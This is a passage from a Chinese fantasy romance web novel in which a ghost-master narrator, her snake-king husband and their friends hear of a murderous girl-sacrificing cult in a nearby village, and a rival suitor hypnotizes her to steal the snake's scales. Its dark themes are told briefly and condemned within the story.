话才说完,忽然有一群孩子涌进了我家,进门来就直奔青漓而去…… 也不知道是摸到了什么好东西,神神秘秘地护在怀里,成群结队地冲到青漓跟前,献宝似的把东西送给青漓。 “蛇王老爷!快帮我看看这是不是真家伙!” “他阿爹说这是他家祖传的,真正的传国玉玺!” “他家以前给皇帝当过太监。” “呸呸呸,什么太监,那是钦天监……” “可我只听过掌印大太监,没听过掌印钦天监啊!” “蛇王老爷你快给我验验,我特意趁着雨把坟下透了,刨开我爷的坟,弄开了我爷的棺,把这东西从我爷枕边偷了出来……你看完我还得再还回去,不然被我阿爹发现他得打断我的狗腿!” 青漓:“……” 我迷茫揉了揉眼睛,“他什么时候,连我们村的小孩都给解决了?” 紫蛇从梨花树上垂下脑袋,像条麻绳:“你们村的小孩比你们村的大妈接受能力强多了,这些小孩觉得蛇能变成人,当蛇王是件很酷的事!这两天,他们还在私底下扮兔子王老虎王蜈蚣王玩呢!” 我生呛了两声,“佩服佩服。” 只是不知道这孩子他阿爹江大叔知道自家刚下葬没一个月的老爹坟被他宝贝小儿子给扒了,会不会气得犯高血压。 不过,下一秒那孩子的耳朵就被一只手给无情拎了起来。 拧他的倒不是他家倒霉老爹,而是刚进门的李大叔。 “江书意,你可真是胆肥了!扒自家先人的坟,不怕损阴德吗?就该让你阿爹把你揍得皮开肉绽,看你以后还淘不淘气了!” “哎哎哎!李伯,你放手啊!耳朵要被你拽聋了!李伯、我可是咱家唯一的男丁,你把我拽聋了,我阿爹肯定和你没完!” 李大叔挑眉道:“你阿爹和我有没有完我不知道,我只知道,你阿爹要和你没完了!你瞅瞅你这孩子干的缺德事!还不快把你爷压棺的宝贝放回去!被你爹知道,活得打死你!” “不要啊……蛇王老爷你快帮我看看这东西到底是不是真的……”小家伙没心没肺地冲青漓干嚎。 李大叔一烟杆敲在小家伙头上,没好气道:“去!这东西当然是假的,真正的传国玉玺能到你家?都在人国家博物馆里呢!那可是无价之宝!” 小家伙不信:“我阿爹说这就是真的!我祖上出过钦天监!” 李大叔冷哼一声,打击道:“你祖上是出过钦天监,但你听过历朝历代哪个皇帝把传国玉玺交给钦天监保管的?你还不如说你家祖上出了个大太监呢!” 旁边的孩子们闻言顿时被逗得哄堂大笑。 小家伙气鼓鼓:“那这玉玺……” 李大叔淡定说:“假的,压棺玺,还是我给你爷雕的!” 小家伙窝火的瞪李大叔:“……” 李大叔催促道:“赶紧还回去,不然你爷半夜爬你家窗户进去找你,站在你床前掐你脖子!” 小家伙被李大叔吓得脸色一白,抱着东西就带着一群孩子们跑了出去…… 孩子们出我家院门,正好撞上了尾随李大叔而来的宋潮生。 银杏一见到宋潮生就来了精神,欢喜地主动黏上去:“潮生哥!” 阿乞拿着凤车,用肩膀载着小凤,摇头感慨道:“银杏姐没救喽。” 小凤凰嘶了声,嫌弃道:“小银杏看上的人,长得不咋地啊!这种姿色,在我们鸟族顶多算……猫头鹰!” 我差点把刚含进口中的茶水喷出来。 猫头鹰…… 再看他蹙眉凝视银杏的表情,真形象! 青漓拂袖一扫墨青衣摆上的浮灰,淡淡道:“那玉玺是真的。” 李大叔笑说: “他家祖上出过钦天监,灭国时,皇帝为了不受辱,将传国玉玺给了他,让他带回阴苗族,藏起来,自己则在寝宫点火自焚了。哎,那也是位有骨气有抱负的帝王啊,可惜,生不逢时。” 青漓余光扫过李大叔的衣角:“是怕他知道,没轻没重把东西给贱卖了?” 李大叔点头: “他们江家世代忠烈,这也算是帝王给他们江家的褒奖,可不能让这孩子给糟践了。 他爷生前最放心不下的就是这枚传国玉玺,他爸这才把传国玉玺放在他爷的棺材里,和他爷一起入葬,谁能想到被这孩子给知道了呢。 回头我得告诉他爸一声,传国玉玺露了脸,再放在棺材里可就不安全了。” 青漓颔首:“嗯。” 我倒了杯水给阿乞润嗓子,昂头问李大叔:“李叔和潮生哥今天怎么一起过来了?是有什么事吗?” 宋潮生可是个无事不登三宝殿的主。 李大叔恭敬地做了个请的手势,请青漓先行。 随后跟着青漓一起走到我们做针线活的桌子前。 “明天得请你去潮汐村一趟了。” 青漓在我身边落座后,李大叔也在对面坐了下来。 潮汐村?不是宋潮生的家吗? 银杏跑到李大叔背后殷勤给李大叔捶肩:“去潮生哥家吗?我们也要去喝潮生哥表舅家小儿子的出生酒?” 宋潮生表舅家儿子出生,关我们什么事? 我不解问李大叔:“是要顺道去办什么事吗?” 李大叔神情严肃地从腰后掏出一个皮质木枕,放在桌子上:“这是潮汐村老金今天送给我的,你们瞧瞧,有没有不对劲的地方。” 一个枕头……看起来就是个很常见的物件。 阴苗族的部分族人还保持着睡木枕的习惯,木枕外形像把小凳子,左右两边有雕花木支腿,上端供人枕睡的板子呈弧形下凹状。 这种设计能完美贴合人的颈部,睡习惯的人觉得它舒适安神,睡不习惯的人觉得它邦邦硬…… 与别家木枕不同的是,这只木枕枕板上罩了一层玉白色的皮套,皮套上还绘着彩色童子斗鸡图。 而且,枕头上还有一股淡淡的香味…… “这枕头,有问题吗?”银杏大大咧咧地上手摸了把。 宋潮生看银杏的眼神顿时更嫌弃了。 我嗅了嗅从枕头上飘出来的气息:“好香啊,这是什么皮,看着好细腻……” 青漓及时抓住我想触摸的手,冷冷启唇:“人皮。” “啊?”银杏被吓得声音打抖。 李大叔重重叹口气:“十五岁未出阁女孩的皮。” 第130章 帝君,他歧视你! “皮、人皮?!” 阿乞差点没拿住手里风车。 小凤站在阿乞肩头用着除宋潮生之外所有人都能听懂的鸟语叽叽喳喳: “人皮枕哎?你们阴苗族喜欢的东西是真阴啊!” “人皮枕?谁家好人睡觉枕人皮啊!爸,金叔给你这东西,是什么意思?”银杏不解地问李叔。 李叔面色凝重地说道: “潮汐村的人私下都在传,人皮枕枕着,能延年益寿,百病尽消。老金就是觉得这人皮枕不对劲,才大老远送来给我瞧瞧。 其实不止人皮枕,还有人骨手串,人骨锤。 潮汐村每十天就会在村子后边山头的一棵老枫树下开办鬼市,鬼市上不仅卖这些,还卖美容粉,都是用不满十九岁的女孩骨头磨成的。 说是,村里的女人们用了,能越变越漂亮。 男人们用骨灰泡水喝,能一举得男。 鬼市是从半年前开始办的,每次市集上卖的人皮枕人皮包,以及人骨首饰人骨粉都供不应求,现在用人骨制品都已经成潮汐村的潮流了!” 我皱眉不理解:“她们哪来这么多年轻女孩的尸体?我最近也没听说、潮汐村频频死人啊!” 李叔冷哼一声,肃色道:“他们肯定是心虚,才没走漏消息!这女孩尸体的来源见不得光啊。” 我心情沉重的没说话,片刻后,宋潮生开口道: “一个星期前我回潮汐村,的确发现村里女孩子少了许多,连我表舅家的大女儿都不见了。 我问过表舅,可我表舅新娶的表舅妈说,她出门走亲戚了。 大前天我又去表舅家小坐了半个小时,发现我那大表妹依旧没回家…… 我有点怀疑,我那大表妹是不是、也被做成了这些东西……” “无凭无据的,我们也不好下定论。” 我甚是不解地低喃: “以前的潮汐村,可是咱们阴苗族八寨十三村中最有名的善人村,村里人老实憨厚,和善好相处…… 去年我还和外婆一起去潮汐村办过事。 那会子村里人还很正常,怎么现在突然迷上了少女骨。 如果真相果真如潮生哥说的那样,潮生哥的大表妹也被做成了人皮枕人骨粉,且潮生哥的表舅知情,那、实在太恐怖了。” “潮汐村迷上人骨制品就是最近这半年的事。”李叔蹙眉深思:“照潮生先前给我提供的那些线索来看,我猜测,可能与信仰有关。” “信仰?” 我愈发听不明白了: “咱们阴苗族的信仰,不一直都是西王母吗? 顶多再信奉镇山龙君与神娘娘这两尊神明。 这些年来,我见过阴苗族人供奉神娘娘最极端的方式,也不过是做人乳馒头,人血奶。 且这些贡品都是出自活人之身,外婆与宋淑贞都再三警告过阖族,不可用死人阴物供奉神明。 再说,他们做这些如果是因为神娘娘,神娘娘可是咱们整个阴苗族的庇护神,供奉她,根本不需要藏着掖着。 至于镇山龙君华桑大帝……那更不可能与他有关了! 他老人家可是咱们苗域现存神中,公认的实力最强、地位最高的神明。 他还是龙神,用草菅人命的方式供奉他,他不得一怒之下降雷劈死整个潮汐村的人啊!” 李叔点点头,赞同道: “无论是神娘娘还是华桑大帝,都不会接受这样的供奉方式,更不会向信徒传达这么阴毒邪恶的思想。 潮汐村供奉的是一尊我们前所未闻的东西,也不晓得究竟是谁把它带到潮汐村,让它在潮汐村传播开来的,真是祸害!” “我们都前所未闻的东西?连师叔祖你也没听过?”阿乞好奇追问:“到底是什么玩意啊!” 宋潮生接上话:“潮汐村的人说,那是佛家的六臂通天佛。” “啊?”阿乞不自在地挠头:“这是什么佛?佛家有这个佛吗?” 李叔从容解释道: “佛家现在的情况其实与道门差不多,打着佛道两家的名头招摇撞骗自封神佛的妖魔鬼怪多了去了! 就像道门中也有假神,有部分妖魔占山为王,自封什么什么神君,还有凡人自称自己是哪门子的真人仙人,不知情的人,就容易受他们蛊惑。 最典型的例子就是山神娶亲、河伯索妻! 真正的神仙那都是受天规约束的,有几个敢动不动下山上陆讨老婆,还每年都要一个,真当本地土地神与城隍爷都是吃干饭的? 真正的得道神仙前脚这么狂,后脚城隍爷的御状就告上了天庭,天庭的执法小队就连夜驾云下来收拾人了! 虽说,的确不排除有天高皇帝远,能在一方圈地称王一手遮天的神祇,但少之又少!能被咱们撞见的概率几乎为零! 别的那些肆无忌惮为祸一方的这个神那个仙,都是妖孽假扮的! 不过,近几年天庭对人间妖孽假装神明坑蒙拐骗的事比较重视,上头盯得紧,打击力度大,所以人间太平了不少。 而那些妖孽装不成神仙,就开始去碰瓷佛家了。 潮生所说的六臂通天佛,我设法查了很久,才在一本古籍上看到关于它的记载。 它不是正统佛家的东西,佛家也是分不同流派的。 像咱们平时熟知的佛祖菩萨罗汉尊者,是正统佛家的大老板与高层领导。 民间还有几个流派,只流传于某些偏远族落中,或是某些脑子不正常的固定群体内。 有的族落信奉的佛家,会往佛门成员里增加许多他们自创的佛,以及部分只存于传说中的外地冷门佛。 而六臂通天佛,就是一百年前才在南方流传开的长生佛教内的人物。 这个长生佛教,明面上是信奉佛家,实际上却是个碰瓷佛门,自创体系还偷人佛家名气的邪派。” “长生佛教?”我摇头:“还真是闻所未闻。” 阿乞也迷茫道:“听名字就晓得不是什么好玩意。” “长生佛教里供奉的佛,都是一些妖魔鬼怪,比如这个六臂通天佛,原身就是一只长着六条手臂,面容畸形的山怪。 他的信众们认为,未满十九岁且未嫁人的少女身上灵气最充盈,用少女死前的眼泪供奉这位通天佛,通天佛能保佑他心想事成。 也由于长生佛教给人灌输的思想邪门龌龊,所以长生佛教的信徒极爱残害未出嫁的少女。 他们有些行为,你们听完或许就觉得,父母杀害女儿,将女儿的皮骨制成其他物品的行径已经算不上什么了……” 李叔说罢,伸手要去拎桌上的茶壶给自己倒水。 银杏抢先一步捧住茶壶,殷勤的主动给李叔倒满一杯,好奇心极强的着急追问:“爸,你快展开讲讲!” 李大叔拿走水杯瞟了银杏一眼,无奈满足她的要求: “他们认为,男人生来体内就有浊气,要想清除浊气,就得用与自己流着相同血液的少女纯洁之身来化解! 化解完,还要……剜出来,制成肉莲。” “肉肉肉、肉莲!”阿乞被惊得说话都打哆嗦。 小凤眨巴眨巴豆大的金眸:“肉莲是什么?” 李大叔扶额:“回头有空自己上网搜!” 小凤抽了抽右眼角:“……” 银杏已经被李叔一句话震得僵在了原地。 李叔没好气地继续说: “还有呢,他们觉得枕少女的皮,能静心安神,延年益寿,盘少女的骨,能开运。 他们还会把未出嫁的少女送给那些所谓的供养人,供他们发泄兽欲…… 他们甚至觉得,自家女儿能被供养人们享用,是件积攒大功德的善事。 这些外门子邪佛,把负责给他们擦拭佛像,为他们修建庙宇,传达思想的人称为布善长老,也叫供养人。 在正统佛门里,这种人被称为沙弥,也叫和尚。 正统佛门中的僧人要戒色戒欲,可长生佛家的供养人却崇尚纵情纵欲,他们觉得少女体内的灵气能令自己头脑清醒,彻底开悟。 为了迷惑更多信众主动把未出嫁,未行过男女之事的闺女送给他们,他们就对外宣称,说自己享用了信众奉上的少女,得到的无上力量会全部流入他们所信仰的佛体内。 佛得到这些力量,便会双倍回报给女孩的父母及兄弟姐妹。 于是在这些所谓的佛、供养人的忽悠下,他们的信众便将家里女儿视为一份财产,有一段时间甚至还以女儿多为荣。 这样一个女儿送给供养人,一个女儿留着清理他们体内的浊气,一个女儿在成年前卖掉,皮做成枕头或被面,骨灰按份售卖。 他们被迷惑得最荒唐的时候,兄弟与姐妹之间出事的,也比比皆是。” “啊?那这岂不是、全都乱了!颠覆人伦?”银杏不可思议道。 李叔颔首:“所以都说妖言惑众啊!潮汐村莫名其妙开始信奉这种邪道……着实蹊跷。” “可不是么。” 宋潮生语气沉重: “连我表舅家都供奉了一尊六臂通天佛的彩绘泥像,我刚进表舅家堂屋就感受到佛像散发出来的森寒阴气了! 我表舅还当着我的面给六臂通天佛上了一炷香。 供奉佛像的条案上,放着两盏红泥莲花,还有一盅猪血,一杯清酒。 但我怀疑……那可能不是猪血。” 我问他:“你怀疑是人血?” 宋潮生点点脑袋: “对。我怀疑……是大表妹的血。 按老师查到的资料上面所说,长生佛教的信徒会用少女死前的眼泪供奉他们信仰的邪佛。 我还怀疑,另一只小酒杯里,装的也不是清酒,而是大表妹的眼泪。” “但有一点我想不通。” 李大叔若有所思地用指尖有节奏轻轻敲击桌面: “你表舅都五十多岁了,膝下只有这么一个宝贝女儿,他怎么舍得把你表妹给害了呢!” 宋潮生道:“可能是因为表舅最近又添了个小儿子吧。” 李大叔还是摇头:“不对,十年前我就给你表舅看过相,你表舅命里只有一个闺女,他是命中注定的无子相!” 说起这个,宋潮生脸色更加难看阴黑了: “我正好还有另一个事想请教老师……我回潮汐村那两天,发现村里这半年来,新生男婴特别多!几乎,家家户户都有新生婴儿!” “难不成是因为村里男人都喝了少女的骨灰水?少女骨灰水真有让人生男娃的奇效?”阿乞怀疑道。 李叔抿了口温水润嗓子: “不可能!骨灰又不能治不孕不育。 如果真有能让人生孩子,还专生男孩的奇效,这天底下所有少女的尸骨怕都被挖坟盗墓的偷跑了! 潮汐村的事听起来太复杂了,还是得亲眼去瞧瞧才能探出蛛丝马迹。” 说完,李叔恭敬请示青漓:“蛇王大人,你要一起去吗?” 阿乞摆摆手替青漓回答: “师叔祖你就多余问这一句,帝君现在是镜镜姐去哪他去哪,留他一人在月阴村看家他会夜里失眠的!” 小凤十分认可地点头如捣蒜:“就是就是!我主人都过去了,帝君肯定也要去啊!” 青漓淡定地一把握住我手:“本尊……” 正要发话,宋潮生那家伙突然抽风似的紧张开口,怯怯阻止: “潮汐村的村民还没接触过蛇王,蛇王突然出现在潮汐村……怕是会引起村里人的恐慌。 而且这次去潮汐村,我们只能暂住在我家那几间老破房子里……咱们人多,恐怕地方不够住。 镜镜是阴苗族鬼师,以镜镜现在的能力,完全能独自应付潮汐村的事,更何况,还有老师在…… 蛇王、没必要跟着一起去。” 话音落,青漓的俊脸顿时阴沉了下来,灿若星辰的深邃青眸凝起寒光,厌恶地斜睨他一眼。 没有多与宋潮生废话争论,只下意识地握紧我右手…… 像是,怕我真听了宋潮生的怂恿,把他扔在月阴村不管,自个儿出门潇洒了。 “那怎么行!” 阿乞仗义地率先表态: “蛇王是我们的主心骨,镜镜姐现在的确有能力独自应对族内的各种状况,但有蛇王大人在,我们过去办事就会事半功倍! 再说人家镜镜姐和蛇王是两口子,明明可以夫妻俩一起出差,互相照应,你却非要把人家小夫妻分开,你不觉得你有点过分了吗?” 宋潮生心虚低头,脸红支吾: “我、也是基于实际情况考虑,毕竟、我家小,男男女女分开住还行,实在没有多余的屋子、腾给蛇王居住了。 不然,蛇王在外面凑合一夜、也行,反正,蛇王是蛇,不像我们人……” 盘在梨树上的紫蛇听不下去地愤愤朝青漓告状: “帝君,他暗戳戳挤兑你呢,他在提醒你,你是蛇,和鸾镜妹子不一样,他与鸾镜妹子才是同类!他歧视你!” 第131章 宋鸾镜,杀了蛇王 宋潮生确实是在故意排挤青漓,这狗东西,不知道是看上我哪一点了,明里暗里总想着见缝插针地用花言巧语引诱我。 可,我又不是银杏,我脑子又没坏! 他这种要姿色没姿色,要人品没人品的男人,也就银杏那傻丫头被梦中人的滤镜冲昏了头,才会看上他。 但凡他长得不像银杏梦中的小哥哥,没了小哥哥那重身份的加持,他给银杏提鞋银杏都嫌他不配! 虽然我还没有完全原谅青漓,但他好歹是我老公,就这样被宋潮生明目张胆地挤兑,我当然不能视若无睹了…… 我的人,只有我才能阴阳怪气……他算个屁! “潮生哥说得也对,咱们的条件不允许,这些多人一起挤到潮生哥家,确实不大方便。” 青漓听我这么说,眼中霎时黯然失色,像个做错事的孩子,目露无助:“阿鸾……” 下一秒,我却主动挽住他的胳膊,说下去: “所以潮生哥要是实在不方便的话,我和阿漓可以去其他村民家借住! 我是鬼师,相信还是有村民愿意卖我这个面子的。 潮生哥别见笑,我家阿漓自打和我结婚以来就没有同我分开过,加上我年轻,对我家蛇王的依赖心比较重,我如果去其他村子待个两三天,身边没有阿漓的话,我会不习惯,夜夜睡不着觉,坐立不安。 阿乞说得太对了,阿漓就是我们的主心骨……如果,潮汐村那边实在没有我和阿漓方便借住的地方,那让李叔和银杏先过去调查,等用得着我的地方,再喊我过去也一样。 我和阿漓暂时就先不过去了,反正潮汐村离月阴村并不远,小半天就到了。 李叔和潮生哥觉得呢?” 我说完,青漓这才放下心,悄然抬袖环住了我的腰,暗暗宣示主权。 “我、不是这个意思,镜镜……你去当然有地方住。 咳、有潮生哥在,潮生哥会照顾好你的……你以前、不也经常跟着老祭司走南闯北,在外面住宿么…… 你要是怕睡不着,有银杏陪着你,而且、大不了我夜里陪你说话……” 宋潮生底气不足地结巴道。 我当即拒绝: “潮生哥你又说笑了,你夜里闲得无聊可以去陪银杏说话,我相信杏子这傻孩子还是乐意半夜三更不睡觉宁愿熬夜也要和你谈人生谈理想的,至于我,的确没有夜半和不熟的人聊天的癖好……” 宋潮生着急解释: “鸾镜你是不是误会些什么了?我和银杏、只是普通兄妹关系,我们俩、没有你想的那么亲近!” 阿乞脸一垮,没好气的双臂抱胸嫌弃瞪他。 银杏尴尬的别过头,假装没听见。 我忍住想怼他的冲动,朝他扯出了个不失礼貌的微笑,挽住我家这条醋蛇的胳膊,坚定道: “我没有误会啊,潮生哥你听我说完嘛,我是说,我家这口子要是知道我半夜三更和其他男人在一起聊天,他会醋死的。 我家这位蛇王性格好,吃醋了也不会说,总爱闷在心里,时间长了会闷出个好歹的! 我这么喜欢他,肯定舍不得看他因为我而伤心难过啊! 所以我才不会做令他吃醋误解的事呢。 潮生哥,你别总拿我当小孩子呀,我现在已经结婚了。 我和蛇王既然结为夫妻,那我在做任何事之前,肯定要先考虑他的心情。” “蛇王、应该不会这样不通情理吧!你只是、出门几天,去别的村子办要紧事……” “他通不通情理另说,主要是我离不开他。 他不担心我会不会被别的男人拐跑,我还害怕他会不会趁我不在被别的女妖精勾走呢! 哎,潮生哥你还没有成家,不懂一日不见如隔三秋的相思之苦! 而且潮汐村与月阴村离得这么近,我们完全没必要分开啊。 出差带老公的快乐,等你以后结婚了你就能体验到了。” “……” 宋潮生的脸,红了青,青了白。 紫蛇趴在树枝上啧啧两声: “换做我,我就借这个机会报复你之前干的那些破事…… 瞧人家鸾镜妹子,格局多大,哪怕还没与你和好,在外人面前也始终护着你,绝不让你受别的男人欺负。 要我说,鸾镜妹子你就该答应这个什么宋潮生的提议,你和他走,把帝君扔家里看门,气死帝君!” 青漓听罢,一记眼刀剜过去,吓得紫蛇蠕动长身,怯怯往后缩了缩。 小凤咯咯捧腹大笑: “呀~活该你没媳妇!你还说呢,之前帝君干的那些破事不都是你怂恿的? 还不是你给帝君出的馊主意,幸好帝君没有全信你的鬼话,不然帝君现在就和你一样,成光棍蛇喽!” 紫蛇不服气地哼了声,乖乖盘回树干上: “小爷我不是没人要,小爷要是想谈恋爱,想做我伴侣的母蛇能从苗域排到东北,小爷我这是无爱一身轻! 何况,小爷又不像帝君这样命好,头一次谈恋爱,就遇上了靠谱的鸾镜妹子……小爷还是不乱谈比较好,免得被割蛇胆。” 小凤抖了抖身上华丽的凤羽:“瞅你这点出息!” 青漓揽着我的腰,瞟了眼脸色难看的宋潮生,没忍住的冷漠质问: “你莫不是,很盼着能与本尊的夫人秉烛夜谈?宋潮生,本尊看你是一点记性都不涨!你的锄头,都敢往本尊家的墙角挥了。” 宋潮生一怔,被青漓的冰冷眼神吓得惶恐后退。 我厚着脸皮往青漓怀里一趴,抚着青漓的胸膛配合道: “哎呦亲爱的,你就别吓唬潮生哥了,谁敢挖你墙角啊! 潮生哥又不傻,你可是蛇王。 乖啊阿漓,潮生哥不好吃,他身上臭臭的…… 你就别惦记着他了,他真的不能让你尝尝味儿! 你那一口下去,他小命就没了!” 僵在原地的宋潮生,此刻老脸更白了。 脚步极轻地一个劲往银杏身后藏。 阿乞看热闹不嫌事大的火上浇油: “哎,宋大哥你别怕啊!我们家帝君已经很久没开荤了!他现在不怎么吃人了,他戒了!” 宋潮生脚底又一个趔趄,差点摔个狗吃屎。 李叔心如明镜地无奈摇摇头: “住处的问题不用担心,我和阿乞可以去老金家住。鸾镜和蛇王,就带着杏子去潮生那安顿吧。” 阿乞答得爽快:“完全可以!” 银杏不自在地低头拧袖子,轻声答了个好。 “我们明天一早出发,鸾镜,明早我们来你家接你。”李大叔拿上烟杆起身要走。 我趴在青漓怀里,冲李大叔挥了挥手:“明白。” 李大叔走时,还意味深长地拍拍银杏后背,用眼神示意银杏一起走。 银杏扭头看了眼并不打算离开的宋潮生,失望地哽了哽。 阿乞留在我们这陪小凤玩,两只小纸人亦从厨房里跑出来,扯住阿乞衣摆闹着要和他一起扔小皮球。 “潮生哥,你要走吗?”我装傻充愣地主动下逐客令。 宋潮生看着我,欲言又止了好几番。 为了尽早送走他这位活祖宗,我只好从青漓怀里出来,亲自送他出家门。 送他到院门外的大路上,李叔与银杏父女俩的背影已经走远了。 我尽量不让自己的语气听起来太不耐烦,好奇询问:“潮生哥,你还有什么话想和我说么?” 宋潮生磨磨蹭蹭了好一阵,才一脸为难地咬牙尴尬道:“鸾镜,我、想同你求一样东西……” “什么?” 他厚着脸皮直言不讳:“我、想找你求蛇王的一片蛇鳞?” 我:“啊?” 宋潮生无耻地说下去: “我听说,前段时间柳叶村有一户人家被灭门,就是因为他们想拔黑蛟的蛟鳞,才引得黑蛟将他全家都吃了,大祭司为了保护他家小孙子还受了重伤…… 古籍有记载,凡蛇蛟二类,生了鳞,便有了灵性,生了慧根,有成仙成神的资格…… 他们的鳞片,能治百病解百毒,而且、磨成粉喝了还能让濒死之人重现生机,将其供奉在家族祠堂内,便可庇佑整个家族不受咒术侵扰…… 镜镜,这种好东西,我也想要。” 我:“???” 你脸这么大吗,你想要我就得给?! “上次蛇王现出原形追逐我,我看见、蛇王身上也有青色鳞片……镜镜,潮生哥从前待你不薄吧! 潮生哥借住在老师家那几年,哪怕银杏才是老师的女儿,我最偏袒心疼的,也还是你…… 所以镜镜、你能不能,看在我们过往的情分上,给我一片青蛇王的蛇鳞。” 我用力咬住嘴唇,压下心底翻涌的寒浪: “这个忙,我真帮不上。青漓是得道蛇王,他现在不需要蜕皮,更不可能换鳞。我手里没有青漓的鳞片,我给不了你。” 他突然激动地抓住我双臂,着急怂恿道: “你可以向他求一枚啊,他那么喜欢你,你开口他肯定会给你!” 我毅然对上他贪婪的眉眼: “那潮生哥,你说,青漓如果知道我找他要蛇鳞是为了给你,他会轻易放过你吗?” 宋潮生被我一句话问住,喉中一哽,沉思片刻接着忽悠我: “你不能主动要,但可以趁他不备,偷偷揭掉一片啊!你是他最亲近的人,他对你没有防备的!” 我诧异惊呼:“你要我直接剥他蛇鳞?蛇鳞是从肉中长出来的,我要是真这么做了,与活生生削掉他一块肉有什么区别?!” 他以为蛇鳞是什么不值钱玩意吗?我趁青漓不注意就能从青漓身上偷走一片?! “你先别激动!” 宋潮生紧张兮兮往我身后看,确认青漓没有被我的大喊大叫引出来后,放开我手臂,从风衣外套的口袋里掏出一只白色塑料小药瓶,把东西强塞进我的手里: “这是我爸一位风水先生好友寄给我的脱鳞粉,你趁蛇王睡着,把这药粉洒在蛇王的身上,然后蛇王的蛇鳞就会自行脱落,过程中他是不会有任何感觉的!” 我拿起那只没有标签的小药瓶,昂头不悦地盯着他。 他似乎沉浸在自己天衣无缝的完美计划里不可自拔,根本没有察觉到我看他的眼神有多寒冷厌烦,自顾自的企图说服我: “镜镜,潮生哥不会骗你,失去蛇鳞对蛇王不会有任何影响,蛇鳞龙鳞这些东西是可以再生的,我只要一枚,一枚就足够了! 镜镜,这片蛇鳞关乎我家的存亡,你拿到蛇鳞,就是救了我们全家啊! 你把药粉洒在蛇王身上,蛇王的蛇鳞就会自动从肉里脱落,完全不疼的,绝对不会伤害到蛇王…… 镜镜,就当是潮生哥求你了,你帮帮忙,好不好? 看在我们一起长大的份上,看在我一直待你比待银杏好一千倍的份上……” 我冷脸后退一步,连瓶子都没打开,就把东西扔还给了宋潮生。 “抱歉,我不干。” 宋潮生怔愣住,不死心地急切质问: “为什么!镜镜,难道我们之前的情谊,你全然不在意吗?” 我挑眉坚定道: “有些话,还是不说出口比较好,不说出来我们俩还能维持表面的朋友关系,说出来了,可就连朋友都做不成了。” “鸾镜!” “我只能明确告诉你一句话,你我就算有从前的情谊,你也仅是我的一个朋友。 青漓他就算不是人,他也是我宋鸾镜认定的夫君。我不可能为了你,做伤害他的事。” “这不算伤害……” 我打断他的狡辩: “那我也不干!我老公的蛇鳞我自己都舍不得抠,你说要,我就给吗? 再说,我有强迫症,他那一身漂亮的蛇鳞摸起来多快乐啊。 你这破药粉撒上去,我老公的蛇鳞得掉一大片,这和帅气男人一夜醒来突然脑袋秃了一块有什么区别。 我害我老公掉一大片的蛇鳞,只为了送给你一枚,你觉得合适吗?” 我就差点把‘你配吗’三个字写在脸上了。 他咽了口口水,失落垂首:“鸾镜,我和你说了,我要蛇鳞,是真的有急用……” 可给了你蛇鳞,损的可是青漓的修为,蛇鳞连肉,这世上哪有什么能让蛇鳞自动脱落,且蛇鳞的主人丝毫不会感觉到痛的药啊! 就算有,我也不会给青漓用。 青漓的鳞,他想送谁只有他自己能决定。 第132章 有没有可能,问题出在你家帝君身上! 我浑浑噩噩的木讷重复:“我要取走、蛇王的蛇鳞,给潮生哥……” “我喜欢潮生哥、讨厌蛇王。” “我要,亲手、杀了他……” 男人满意停下摇晃挂在指尖的十字架。 趁我没清醒,从口袋里掏出静音震动的手机。 按了接听键。 “大师,真被你猜中了,她不肯听话。不过,我已经用催眠术给她下达了指令,青蛇王的蛇鳞,我势必会弄到手!” “还请大师再多帮帮忙……我爸妈那里,全仰仗大师了!” “帮忙转告我爸妈,我会想法子把宋鸾镜带回去的。” “蛇王?呵……他再厉害,也是一条蛇啊。我不信,有人会真信他不害人的鬼话。” “就算他不主动出手,我也会想办法,逼他出手……” “等鸾镜亲眼看见他对我下杀手,到时候,我看他怎么解释的清。” “阴苗族的鬼师,我必须要娶到手。只有她的命格,才能破我家当前的劫!” 片刻,他一脸阴霾的挂断电话。 缓了缓,抬手在我眼前打了个响指! 我骤然清醒。 他立马恢复柔和平静的表情,笑着与我道别:“别送了鸾镜,我回去了,明天见。” 说着,亲近的拍了拍我肩膀。 我报以一笑:“好,潮生哥,路上当心。” “会的。” 宋潮生依依不舍的转身离开,往李叔家方向赶去—— 我目送宋潮生的背影消失在路尽头的大槐树后,才放心回家…… 谁知一转身,迎面就撞上了化成人形目露探究的紫蛇,以及同样用诡异眼神打量我的阿乞。 这两个家伙干嘛呢?吓我一跳! “有事?”我不解问他俩。 紫蛇一把抓住我的双肩,疯狂摇晃试探:“怎么样怎么样,现在有没有感觉到,你胸腔里游弋着一股浓浓的恨意!” “恨意?”我迷茫地与他四目相接,这条紫蛇……一如既往的脑子有泡,“恨意没有,但我有怨气。” 很重的怨气! 紫蛇被我的回答搞迷糊了,眉心舒展,一脸蒙圈:“啊?怨气?!” 想了想,自作聪明地恍然大悟:“哦~我明白了,是对帝君的怨,是吧?!” 我对青漓……有什么怨? 唔,可能真有点。 这两天他总用美食讨好我,我感觉我的小肚子都快被吃出来了! “除了怨呢?你现在想不想,杀掉帝君?”阿乞也被紫蛇带得神神叨叨了,说话时,还做了个干净利落的抹脖子动作。 盯着我问话的眼神,不是紧张害怕,而是……莫名的兴奋? “杀掉青漓?”我愣了下,猛地想起来刚才的事,这才忽然意识到他们到底在闹哪一出。 看他们如此入戏,我当然不能掉链子让他们失望啊! 立马进入戏精状态,配合道:“啊……这是可以说的吗?” 阿乞这个小没良心的点头如捣蒜: “镜镜姐你别怕,我们都是你这边的,只要是你想做的事,我们都无条件支持,且帮你保密,你如果有需要,我们也可以……” 与紫蛇相视一眼,表情愈渐邪恶:“桀桀桀——做你的帮凶!” 紫蛇发癫的接着晃我肩膀,附和道: “对啊!我们都是你的娘家人!我是你蛇哥,他是你狗弟!只要你一声令下,你杀人,我们挖坑,你埋尸,我们上坟!” 我啧了声,故意逗紫蛇:“可你前两天还是夫家人呢!我能信你吗?” 紫蛇一本正经地拍着胸脯胡诌: “你尽管信我!我绝不会让妹子你输! 实话告诉你吧妹子,我早就看那条大青蛇不爽了。 只是碍于他力量实在太强大,我打不过,所以只能供他驱使,被他踩在脚底,被迫给他当牛做马。 但我现在反水了,我要投奔妹子你! 那条大青蛇敢强抢民女实在可恶,妹子,你放心报仇,我和你狗弟永远是你最坚强的后盾!” 阿乞听不下去地推了紫蛇一把:“你才是狗呢!” 紫蛇放开我,爪子搭在阿乞肩上: “我就是这么一比喻,你破什么防啊!啊对了,妹子你打算怎么收拾那条蛇?你提前把计划告诉我们,我们好掩护你啊!” 我想了想,装作咬牙切齿:“我要,先剥了他的蛇鳞。” “剥蛇鳞?”紫蛇克制不住的浑身一哆嗦。 “把他的蛇鳞,交给潮生哥,潮生哥的事比较重要。” 